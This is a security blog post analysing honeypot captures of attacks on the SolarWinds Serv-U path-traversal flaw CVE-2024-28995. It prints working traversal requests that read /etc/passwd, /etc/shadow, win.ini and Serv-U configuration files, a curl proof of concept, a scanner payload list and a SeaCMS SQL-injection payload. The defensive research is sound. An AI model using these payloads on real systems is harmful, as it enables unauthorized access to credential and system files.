SolarWinds Serv-U (CVE-2024-28995) exploitation: We see you!

Where we track a SolarWinds Serv-U vulnerability with a new honeypot, including tricking a human attacker into making mistakes
solarwinds
serv-u
vulnerabilities
honeypot
cve
cve-2024-28995
path-traversal
ptr
Author

Ron Bowes

Published

June 18, 2024

On June 5, 2024, SolarWinds published an advisory detailing CVE-2024-28995 - a path-traversal vulnerability in Serv-U, discovered by Hussein Daher. The affected versions are:

Like the recent Check Point vulnerability, this is a path-traversal issue that permits an unauthenticated attacker to fetch any file from the filesystem. It’s typically very difficult to assign intent to path-traversal issues - all I know is which files the attackers are fetching.

To learn more, we deployed a prototype of a new honeypot I’ve been working on, which not only looks strikingly similar to the application, but also responds the way a vulnerable system would. After only a couple days, we’ve gotten some interesting results, including - I’m pretty sure - some hands-on-keyboard action.

Keep reading to find out more!

The Vulnerability

I based our write-ups and tags on Rapid 7’s analysis, written by my former colleague Stephen Fewer. While writing this, I also found a scanner that was written by @MohamedNab1l that implements the same attack.

The vulnerability is very simple, and accessed via a GET request to the root (/) with the arguments InternalDir and InternalFile set to the desired file. The idea is that InternalDir is the folder, and they attempt to validate there are no path-traversal segments (../). InternalFile is the filename.

Before we dig too deeply, we must ask the question: has somebody else already done the exploit-development work for us? And, if so, have they shared their work? The answer is, of course, yes! Here are two exploit attempts we’ve caught in our honeypots…

Windows:

GET /?InternalDir=/../../../../windows&InternalFile=win.ini HTTP/1.1
Host: [IP]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Connection: close

Linux:

GET /?InternalDir=\..\..\..\..\etc&InternalFile=passwd HTTP/1.1
Host: [IP]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Note how the Windows payload (/../../../../windows/win.ini) uses forward slashes and the Linux payload (\..\..\..\..\etc\InternalFile=passwd) uses backslashes. It turns out, on Serv-U, the path-traversal filter only checks the appropriate slashes for the platform (/ on Linux and \ on Windows), then later “fixes” the slashes. So if you send the incorrect slash, it passes inspection and then gets “fixed”. That’s sort of a “time of check vs time of use” (TOCTOU) issue. Oops!

New honeypot!

On Friday, we deployed two copies of an experimental honeypot that I’ve been developing in my spare time. Besides being a very close simulacrum of the real application, it will also appear to be vulnerable from a cursory scan. The goal is that it should appear to be legitimate and vulnerable from a casual inspection, even by a human. As you’ll see later, I think we actually got one hands-on-keyboard attacker, which I consider a victory!

Here’s what a typical exploit attempt looks like, including the response (we modified a few key fields in this capture to discourage fingerprinting):

GET /?InternalDir=\..\..\..\..\etc&InternalFile=passwd HTTP/1.1
Host: [IP]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Connection: close
  
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.124
Date: Sat, 15 Jun 2024 02:12:28 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: text/plain
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/; httponly
Content-Length: 1299
  
root:*:19856:0:99999:7:::
daemon:*:19856:0:99999:7:::
bin:*:19856:0:99999:7:::
sys:*:19856:0:99999:7:::
sync:*:19856:0:99999:7:::
[...]

We’re planning to run this well into the future, but as-of this writing we have ~3 days of data to comb through.

Observations

This morning, I downloaded a full PCAP of all traffic to the two honeypots. Here are the files folks have attempted to fetch, ordered by the number of times we saw it (I removed a few broken requests, but left the URL encoding intact):

25 \..\..\..\..\etc/passwd
24 /../../../../ProgramData/RhinoSoft/Serv-U/Serv-U-StartupLog.txt
21 /../../../../windows/win.ini
12 \../Serv-U-StartupLog.txt
6 ../../../../../../../../windows/win.ini
5 %5C..%5C..%5C..%5C..%5Cetc%5E/passwd
4 /../../../../Windows/win.ini%20
4 \..\..\..\etc/passwd
3 /../../../../Windows//win.ini
2 /../../../../ProgramData/RhinoSoft/Serv-U/Serv-U-StartupLog.txt%E3%80%81
2 /../../../..//ProgramData/RhinoSoft/Serv-U/Serv-U.Archive
2 \..\..\..\..\etc/shadow
2 \..\..\..\..\etc^/passwd
1 \..\..\..\..\var\log/syslog
1 \..\..\..\..\var\log\Serv-U/Serv-U.log
1 \..\..\..\..\var\log/serv-u.log
1 \..\..\..\..\usr\local\Serv-U\Users/Users.ini
1 \..\..\..\../Shares%5e%26InternalFile%3dServ-U.FileShares
1 \..\..\..\../Serv-U.FileShares
1 /../../../../ProgramData/RhinoSoft/Serv-U/%5E/Serv-U-StartupLog.txt
1 \..\..\..\..\opt\Serv-U/Serv-U.log
1 \..\..\..\..\etc\Serv-U\Users/Users.ini
1 %5C..%5C..%5C..%5C..%5Cetc/passwd

Comparing the most popular payloads to public exploits, we see that the first one ( \..\..\..\..\etc/passwd) matches up very cleanly with Stephen’s analysis, including the number of slashes:

>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\..\..\..\etc^&InternalFile=passwd

Whereas the eighth place payload (\..\..\..\etc/passwd) matches up to the public scanner:

    paths_to_check = [
        "/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt",
        "/?InternalDir=\\..\\..\\..\\etc&InternalFile=passwd"
    ]

The second most common payload (/../../../../ProgramData/RhinoSoft/Serv-U/Serv-U-StartupLog.txt) is used in both Stephen’s analysis and the public scanner. It’s interesting that it has slightly less hits than the Linux equivalent - perhaps people identified my server as Linux? Or maybe people are more interested in Linux servers than Windows? I’m not totally sure.

The third place payload (/../../../../windows/win.ini) is an obvious Windows test, though I can’t find a tool that fetches this exact path - perhaps one of the popular vulnerability scanners?

The fourth place payload is interesting (\../Serv-U-StartupLog.txt) - unlike other popular payloads, it doesn’t traverse back to the filesystem root, but instead fetches a file from one directory up. Although there are 12 hits, they all came from the same IP address from Switzerland - 185.196.10.2. I’d speculate that somebody independently developed that payload, but it’s impossible to tell for sure.

Most of the remaining payloads are simply the same files with different numbers of ../ path traversal characters.

But I found two payloads particularly interesting, for different reasons. Let’s look at them!

Example 1: Don’t just copy and paste exploits!

When I originally read over Stephen’s analysis, I wondered why the examples contained a caret (^):

>curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt

I later remembered that Windows uses carets as escape characters. When I developed a tag, I knew enough to remove the caret, but thought for sure I’d see at least one attacker scanning the internet with a broken payload.

And, sure enough, so far we’ve seen exactly one IP address who copied and pasted the payload without fixing it - 120.245.64.189, which an otherwise-unknown IP from China. On Saturday morning, it scanned us with that path - twice:

Jun 15, 2024 03:26:24.084157918 PDT     /?InternalDir=\..\..\..\..\etc^&InternalFile=passwd
Jun 15, 2024 05:34:07.319277321 PDT     /?InternalDir=\..\..\..\..\etc^&InternalFile=passwd

The two hits were about two hours apart. But interestingly they sent nothing else to us, either before or after.

Remember folks: test (or, at least, understand) your payloads! Don’t just copy stuff off the internet.

Example 2: Hands on keyboard?!

The previous payload was rather simple - I just wanted to make fun of somebody who didn’t test their exploit. But this is where it gets interesting, at least to me. This section of the blog started as a quick paragraph, but as I kept digging it slowly ballooned into half of the write-up. It just goes to show, you never know!

This was the specific request that piqued my interest:

Jun 15, 2024 04:34:44.747967473 PDT     /?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt%E3%80%81

Notice the encoded bit on the end? Those three hex codes correspond to a non-English UTF-8 character. If you Google “utf8 e38081”, you’ll find that it’s an “idiographic comma”, which is apparently used in Chinese and Japanese.

Considering they included an Asian character, it’s no surprise that the request came from a Chinese IP address - 221.4.215.215. I decided to see what else they did, and grabbed their full log (which I uploaded to Gist - though due to a bug it’s missing the first part).

They start out by loading the site and fetching the usual files you’d expect to see:

[missing: requesting the root directory and a couple images]
[...]
Jun 15, 2024 04:33:47.498495238 PDT     /Common/Scripts/Dialog.js
Jun 15, 2024 04:33:47.500818945 PDT     /%25LOGO_FILE%25/Web%20Client/Images/SULogo500x88-2.png&Sync=1718451226309
Jun 15, 2024 04:33:47.503827495 PDT     /Common/Scripts/Images/combo.png
Jun 15, 2024 04:33:47.504636870 PDT     /Common/Scripts/Images/checkbox.png
Jun 15, 2024 04:33:47.507760011 PDT     /Common/Images/Taskbar-bg.png
[...]
Jun 15, 2024 04:33:48.305134816 PDT     /Common/Images/GreenRadio.png
Jun 15, 2024 04:33:48.305257591 PDT     /Common/Images/Close_icon_wht_16x16.png
Jun 15, 2024 04:33:49.005882739 PDT     /favicon.ico
Jun 15, 2024 04:33:49.069574098 PDT     /Common/Images/su16x16.png
Jun 15, 2024 04:33:49.071943075 PDT     /Common/Images/WebClient16.png

Then about a minute later, they sent the requests for the path that includes the misplaced comma (they tried twice, with about 0.5 seconds in between):

Jun 15, 2024 04:34:44.747967473 PDT     /?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt%E3%80%81
Jun 15, 2024 04:34:45.376904380 PDT     /?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt%E3%80%81

Then, about 15 seconds later, they try again, but they use another broken URL (note the two ? characters):

Jun 15, 2024 04:35:00.159178570 PDT     /?Command=Login&Language=zh,CN?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt

I think they just appended the typical exploit (?InternalDir=...) to the login page, which isn’t how this vulnerability works - they should have used &InternalDir instead of ?InternalDir. At this point, it sure looks like it’s a human at the helm, trying to get this exploit to work.

Also notice that the login path includes the Language=zh,CN, which supports the idea that this was a Chinese person. It’s cool that they chose their language before trying to hack!

This also has the effect of loading the login page again, which continues to confirm that they are driving this from a browser:

Jun 15, 2024 04:35:00.457145911 PDT     /Common/Style/Dialog.css
Jun 15, 2024 04:35:00.457824558 PDT     /Web%20Client/Style/LoginForm.css
Jun 15, 2024 04:35:00.458232379 PDT     /Common/Scripts/BrowserCheckAW.js
...

Ten seconds later, and continuing on for four hours, we finally see correct exploit attempts consistent with Stephen’s analysis:

Jun 15, 2024 04:35:15.470457396 PDT     /?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt
Jun 15, 2024 04:35:16.069835410 PDT     /?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt
Jun 15, 2024 04:36:42.896069318 PDT     /?InternalDir=\..\..\..\..\etc&InternalFile=passwd
Jun 15, 2024 04:36:43.499037330 PDT     /?InternalDir=\..\..\..\..\etc&InternalFile=passwd
Jun 15, 2024 04:40:45.904738569 PDT     /?InternalDir=\..\..\..\..\etc&InternalFile=passwd
Jun 15, 2024 04:45:19.397132195 PDT     /?InternalDir=\..\..\..\..\etc&InternalFile=passwd
Jun 15, 2024 05:16:56.493040247 PDT     /?Command=Login&Language=zh,CN?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt
Jun 15, 2024 05:23:32.902809991 PDT     /?InternalDir=\..\..\..\..\etc&InternalFile=passwd
Jun 15, 2024 05:24:26.643218949 PDT     /?InternalDir=\..\..\..\..\etc&InternalFile=passwd
Jun 15, 2024 05:45:37.428377185 PDT     /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(3)))v)&type=list
Jun 15, 2024 05:48:03.995245255 PDT     /?InternalDir=\..\..\..\..\etc&InternalFile=passwd
Jun 15, 2024 05:53:07.356212675 PDT     /?InternalDir=\..\..\..\..\etc&InternalFile=passwd
Jun 15, 2024 06:02:00.980762750 PDT     /?InternalDir=\..\..\..\..\etc&InternalFile=passwd
Jun 15, 2024 08:25:42.822610558 PDT     /?InternalDir=\..\..\..\..\etc&InternalFile=passwd
Jun 15, 2024 08:27:18.075153624 PDT     /?InternalDir=\..\..\..\..\etc&InternalFile=passwd
Jun 15, 2024 08:30:27.830939848 PDT     /?InternalDir=\..\..\..\..\etc&InternalFile=passwd
Jun 15, 2024 08:32:52.314394141 PDT     /?InternalDir=\..\..\..\..\etc&InternalFile=passwd

Note that they exploit this more than ten times over the next four hours, then I never hear from them again. They even included one more attempt with the Language=zh,CN line. I wonder if they scanned the internet several times, or if they kept coming back to my server specifically? I’ll have to keep an eye out for them, but we’ll probably never know! I hope they’re happy with the fake files they got, in any case. :)

On a sidenote: it’s also super weird that there’s one SQL injection attempt at 5:45, which appears to be an exploit for a vulnerability a Chinese CMS called SeaCms, which I’m pretty sure was never patched. I guess I need to write a tag for that one once this blog is out!

Conclusion

We see people actively experimenting with this vulnerability - perhaps even a human with a keyboard. The route between this vulnerability and RCE is tricky, so we’ll be curious to see what people attempt!

References